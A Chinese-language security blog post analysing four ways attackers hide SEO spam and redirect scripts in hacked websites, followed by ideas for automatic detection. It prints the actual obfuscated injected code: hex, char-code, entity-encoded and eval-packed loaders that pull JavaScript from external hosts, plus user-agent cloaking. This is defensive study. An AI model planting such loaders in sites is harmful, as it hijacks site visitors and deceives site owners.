前言

最近研究暗链比较多,也看了看最近网上的一些分析暗链的文章,发现关于暗链的文章还是比较少,内容大多不太深,比较粗糙,而且很多植入手法也比较落后了。所以我就想来写一篇符合当前时代特点的暗链分析文章,就当是抛砖引玉,有啥写的不到位的地方还请各位师傅斧正。

什么是暗链

暗链是SEO手法中相当普遍的一种手段,笼统地说,它就是指一些人用非正常的手段获取的其它网站的反向链接,最常见的黑链就是通过各种网站程序漏洞获取搜索引擎权重或者PR较高的网站的webshell,进而在被黑网站上链接自己的网站,其性质与明链一致,都是属于为高效率提升排名,而使用的作弊手法。

暗链分类

在学习分析暗链的过程中感觉很多文章都没有对暗链有一个统一的分类,有些文章甚至把挂马和暗链混为一潭,所以我在这里先把暗链分为这么两类,以便后续分析:

JS引入型暗链——通过修改网站title,引入外部JavaScript代码来将暗链植入被害网站,当用户通过搜索引擎搜索特定关键字时(你懂的)进入该网站,通过引入的外部JavaScript代码实现跳转到非法网站。这种暗链是本文研究的重点。

html隐藏型暗链——通过css或者JavaScript代码隐藏暗链,通常是通过position为负数,或者将display设置为none等方式来隐藏,目的是为了提升非法网站的SEO排名,但是这种暗链已经越来越少了,现在的暗链大部分都是JS引入型暗链直接跳转,故此种手法本文不做研究。

几种常见的JS引入型暗链

一:JavaScript中window对象引入暗链

这种手法的原理是调用widnows对象中的document.write方法将外部的JS代码引入到当前页面,通常还会配合使用16进制编码来实现隐藏的目的。废话不多讲,直接上案例

1610254884_5ffa8a24e579a1a9d4685.png!small?1610254885705

这个案例中,黑客将网站的title、keywords、description都换成了10进制的unicode编码,这样的确能起到一些隐藏的作用,10进制unicode编码在浏览器解析的时候会还原成字符。

<title>&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#32;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#32;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#45;&#21271;&#20140;&#112;&#107;&#49;&#48;&#30452;&#25773;&#32593;</title> <meta name="keywords" content="&#21271;&#20140;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#32467;&#26524;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#25237;&#27880;&#32593;&#31449;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#44;&#21271;&#20140;&#36187;&#36710;&#35270;&#39057;&#32593;" /> <meta name="description" content="&#12304;&#49;&#49;&#48;&#48;&#107;&#97;&#105;&#46;&#99;&#111;&#109;&#12305;&#32463;&#21271;&#20140;&#31119;&#24425;&#23448;&#32593;&#25480;&#26435;&#44;&#25552;&#20379;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#35270;&#39057;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#26597;&#35810;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#22312;&#32447;&#25237;&#27880;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#26368;&#19987;&#19994;&#30340;&#21271;&#20140;&#36187;&#36710;&#30452;&#25773;&#32593;&#33;"/>

将这些十进制unicode编码丢到站长工具中解密:

1610255297_5ffa8bc15662d2694e282.png!small?1610255297722

可以看到真实内容其实是这些。

1610256601_5ffa90d92882779220b1e.png!small?1610256601543

接着分析JavaScript代码部分

<script type="text/javascript"> window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); </script><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "XXXXX科技有限公司"}</script>

可以看到他调用了JavaScript中的windows对象,然后使用的方法都使用了16进制的编码,因为JavaScript是支持16进制编码的,这样可以躲过一部分简单的检测工具,确实具有一些隐蔽性;后面调用navigator对象中的useragent方法判断用户访问的useragent,如果不是通过百度跳转过来的就将title设置为正常的title。我们将上面这段代码中的16进制编码丢到16进制解密工具中。

1610255545_5ffa8cb98a49bf7622ea8.png!small?1610255545838

这样可以看到,他其实是使用的window对象中的document.wirte方法,将一段外部JavaScript代码写入到了当前的页面,这样就完成了一段暗链的植入。(关于引入的外部JavaScript代码片段后续文章继续讲解,本文先讲引入手法)

二:JavaScript中String.fromCharCode方法引入暗链

这种引入方式也是现在比较多的一种,原理是通过String.fromCharCode函数将10进制ascii码转换为正常的字符,然后调用document.wirte方法写入当前页面,废话不多说,上案例。

1610258260_5ffa9754555603e988694.png!small?1610258260623

前面的title、keywords、description还是那么的如出一辙,那么的熟悉的10进制unicode编码。放进站长工具转换一波。

1610256495_5ffa906f23c0e28bbed4b.png!small?1610256495435

这熟悉的文字,啧啧啧

下面分析JavaScript代码部分

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="系统登录,XXX管理系统 "}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>

还是那个味儿,不过换成了String.fromCharCode方法配合10进制ASCII码+document.write方法实现。首先将这一串10进制ASCII码转换为了String字符串。我们可以使用python中的chr()方法解码得到他的真实字符串。

1610256790_5ffa919643f6e09b4f686.png!small?1610256790586

然后使用document.wirte方法将这串字符串写入到当前页面,这样就完成了外部JavaScript代码的引入,从而实现了暗链的植入。

三:使用十进制unicode编码引入JavaScript

这种方法是通过引入JavaScript时,<script src="XX" rel="external nofollow" >通过将其中的src改为十进制unicode编码来实现的。这种方法不是在JavaScript上做文章,而是利用html的特性,使用十进制unicode编码改变<script>标签中的src来做文章

废话不多说,上案例:

1610257865_5ffa95c9dec9ffacd8f4c.png!small?1610257866158

十进制unicode的编码的title啥的就不讨论了,前面已经讲过了,直接看JavaScript部分

<script type="text/javascript" src="&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#99;&#113;&#105;&#97;&#110;&#46;&#99;&#110;&#47;&#97;&#121;&#120;&#49;&#54;&#56;&#46;&#106;&#115;" rel="external nofollow" ></script>

可以看到黑客将src使用了十进制unicode编码,从而可以规避一些简单的或者肉眼的检测。

我们将十进制unicode编码丢进站长工具中解码

1610257991_5ffa9647aa36a86d93434.png!small?1610257991891

可以看到其引入的是一个外部的JavaScript代码,从而实现了暗链的植入。可以跟进去看看。

1610258052_5ffa9684989fb6060b1c3.png!small?1610258052870

主要起作用的还是圈出的部分,上面是关于访问统计的代码。可以看到他先判断这个访问是不是通过搜索引擎过来的,如果是通过搜索引擎过来的,才会进行跳转。太可恶了!1610258186_5ffa970aceeba6e0f5677.png!small?1610258187101

四:JavaScript中eval函数混淆引入

先看eval函数的作用:

1610257043_5ffa9293333cf6cdfc2c0.png!small?1610257043468

好家伙,是不是有点webshell那味儿了,但是这个方法在JavaScript中用的并不多。使用这个方法的地方一般是一些需要混淆加密的代码才用,黑客就利用上了这个来实现混淆加密自己的暗链。

废话不多说,直接上案例:

1610258290_5ffa97725a6cd6a7a089e.png!small?1610258290649

十进制unicode编码的title啥的我就不翻译了,上面都讲过了,直接开始分析JavaScript代码部分

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{}))
</script>

乍一看非常的懵逼,仔细一看还是懵逼,不过没关系,既然这么懵逼的东西浏览器可以解析,那就证明这东西可以逆着推

1610257289_5ffa93898d6f3b53bfea4.png!small?1610257289748

我们直接上前人写好的eval函数混淆工具,丢进去解密

1610257337_5ffa93b9a8a7724940a41.png!small?1610257337957

哦豁,可以看到解密之后原来是我前面说的第一中window对象引入的手法呀,那么我们就可以重复前面的手法,解密16进制代码,得到真实内容如下

1610257435_5ffa941bf0dea0d724297.png!small?1610257436128

其实还是使用了document.write方法将外部JavaScript代码引入当前页面,只不过使用了eval函数进行混淆罢了。

其实细想想,eval函数不仅可以配合我前面写的第一种方式引入,还可以配合第二种、第三种,因为eval函数的作用说白了就是混淆一遍代码。

自动化检测思路

正所谓“懒是人类进步的阶梯”,一切能用工具代替的工作我们人类尽量不要用手去做,所以我从几个方面思考了一下面对这种新时代暗链的自动化检测思路,得出下面这么几条心得,但是怎么去用代码实现,我这就不讨论了。

对于windows对象引入的,判断其是否使用了16进制代码,如果使用了,那么怀疑度+1。然后再判断16进制代码解析之后的内容,如果出现了script字样,到这基本就可以判断是不是暗链了。如果还是觉得不保险,可以看其是否引入了外部js,如果引入了,再结合威胁情报等工具,就可以做出判断了。

对于使用十进制ASCII码进行伪装的暗链,可以判断其变量是否被document.wirte对象引用了,如果引用了再判断其十进制ASCII码的内容,剩下的步骤和上面一样。

对于改变script标签src属性的暗链,可以直接翻译其10进制unicode编码,结合威胁情报或者跟进JavaScript代码等方式进行判断。

对于eval函数混淆的暗链,可以先走一个逆向的过程,然后的分析步骤就和上面三种一样了。

本文作者:flyingdemon